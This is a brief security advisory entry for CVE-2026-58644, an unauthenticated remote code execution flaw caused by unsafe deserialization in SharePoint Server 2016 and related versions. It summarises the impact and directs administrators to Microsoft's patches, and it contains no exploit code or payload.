CVE-2026-58644

CRITICAL CISA KEV TTE Zero-Day Pub 14/07 Upd 20/08

Overview

This vulnerability is a deserialization flaw occurring within Microsoft Office SharePoint's data processing components. It arises from improper handling of untrusted serialized input, allowing maliciously crafted data to be processed without sufficient validation. The affected component is the deserialization mechanism in Microsoft SharePoint Enterprise Server 2016 and related versions, which fails to securely parse incoming serialized objects over network interfaces.

Vulnerability Description

Deserialization of untrusted data in Microsoft Office SharePoint allows an unauthorized attacker to execute code over a network.

Impact

An unauthenticated attacker can exploit this vulnerability remotely to execute arbitrary code on the SharePoint server, gaining full control over the affected system. This enables compromise of sensitive data stored within SharePoint, disruption of services, and potential lateral movement within the enterprise network. No user interaction or valid credentials are required, increasing the ease of exploitation and severity of the business impact, including potential data breaches and system takeover.

Solution

Microsoft has released security updates addressing this vulnerability for SharePoint Server 2016 and 2019. Administrators should apply the patches detailed in the Microsoft Security Response Center advisory available at https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58644. The advisory provides specific update versions and installation instructions to remediate the issue. No alternative mitigations are recommended beyond applying the official vendor patches promptly.
